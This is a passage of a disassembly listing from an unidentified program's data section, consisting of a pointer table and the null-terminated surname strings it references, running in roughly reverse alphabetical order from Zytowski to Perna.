		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EF28o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EF24o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EF20o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EF1Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EF18o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EF14o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EF10o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EF0Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EF08o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EF04o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EF00o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEFCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEF8o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEF4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEF0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEECo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEE8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEE4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEE0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEDCo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EED8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EED4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EED0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EECCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EEC8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EEC4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EEC0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EEBCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EEB8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EEB4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EEB0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EEACo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EEA8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EEA4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE9Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE98o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE94o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE90o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE8Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE88o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE84o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE80o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE7Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE78o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE74o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE70o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE6Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE68o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE64o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE60o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE5Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE58o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE54o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE50o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE4Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE48o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE44o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE40o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE3Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE38o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EE34o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EE30o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EE2Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EE28o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EE24o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EE20o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EE1Co
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EE18o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EE14o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EE10o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EE0Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EE08o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EE04o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EE00o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDFCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDF8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDF4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDF0o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDECo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDE8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDE4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDE0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDDCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDD8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EDD4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EDD0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EDCCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EDC8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EDC4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EDC0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EDBCo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EDB8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EDB4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EDB0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EDACo
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EDA8o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EDA4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EDA0o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED9Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED98o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED94o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED90o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED8Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED88o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED84o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED80o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED7Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED78o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED74o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED70o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED6Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED68o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED64o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED60o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED5Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED58o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED54o
aTill		db 'Till',0             ; DATA XREF: ___:0042ED50o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED4Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED48o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED44o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED40o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED3Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED38o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ED34o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ED30o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ED2Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ED28o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ED24o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ED20o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ED1Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ED18o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ED14o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ED10o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ED0Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ED08o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ED04o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ED00o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECFCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECF8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECF4o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECF0o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECECo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECE8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECE4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECE0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECDCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECD8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042ECD4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042ECD0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042ECCCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042ECC8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042ECC4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042ECC0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042ECBCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042ECB8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042ECB4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042ECB0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042ECACo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042ECA8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042ECA4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042ECA0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC9Co
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC98o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC94o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC90o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042EC8Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042EC88o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042EC84o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042EC80o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042EC7Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042EC78o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042EC74o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042EC70o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042EC6Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042EC68o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042EC64o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042EC60o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042EC5Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042EC58o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042EC54o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042EC50o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042EC4Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042EC48o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042EC44o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042EC40o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042EC3Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042EC38o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042EC34o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042EC30o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042EC2Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042EC28o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042EC24o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042EC20o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042EC1Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042EC18o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042EC14o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042EC10o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042EC0Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042EC08o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042EC04o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042EC00o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042EBFCo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042EBF8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042EBF4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042EBF0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042EBECo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042EBE8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042EBE4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042EBE0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042EBDCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042EBD8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042EBD4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042EBD0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042EBCCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042EBC8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042EBC4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042EBC0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042EBBCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042EBB8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042EBB4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042EBB0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042EBACo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042EBA8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EBA4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042EBA0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042EB9Co
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB98o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042EB94o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042EB90o
aSen		db 'Sen',0              ; DATA XREF: ___:0042EB8Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042EB88o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042EB84o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042EB80o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042EB7Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042EB78o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042EB74o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042EB70o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB6Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB68o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB64o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB60o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB5Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB58o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB54o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB50o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB4Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB48o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB44o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB40o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB3Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB38o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EB34o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EB30o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EB2Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EB28o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EB24o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EB20o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EB1Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EB18o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EB14o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EB10o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EB0Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EB08o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EB04o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EB00o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAFCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EAF4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAF0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAECo
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAE8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAE4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EADCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAD8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EAD4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042EAD0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EACCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EAC8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EAC4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EAC0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EABCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EAB8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042EAB4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EAB0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EAACo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EAA8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EAA4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EAA0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA9Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA98o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA94o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA90o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA8Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA88o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA84o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA80o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA7Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA78o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA74o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA70o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA6Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA68o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA64o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA60o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA5Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA58o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA54o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA50o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA4Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA48o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA44o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA40o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA3Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA38o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042EA34o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042EA30o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042EA2Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042EA28o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042EA24o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042EA20o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042EA1Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042EA18o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042EA14o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042EA10o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042EA0Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042EA08o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042EA04o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042EA00o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9FCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9F8o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9F4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9F0o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9ECo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9E8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9E4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9E0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9DCo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9D8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E9D4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E9D0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E9CCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E9C8o
		align 10h
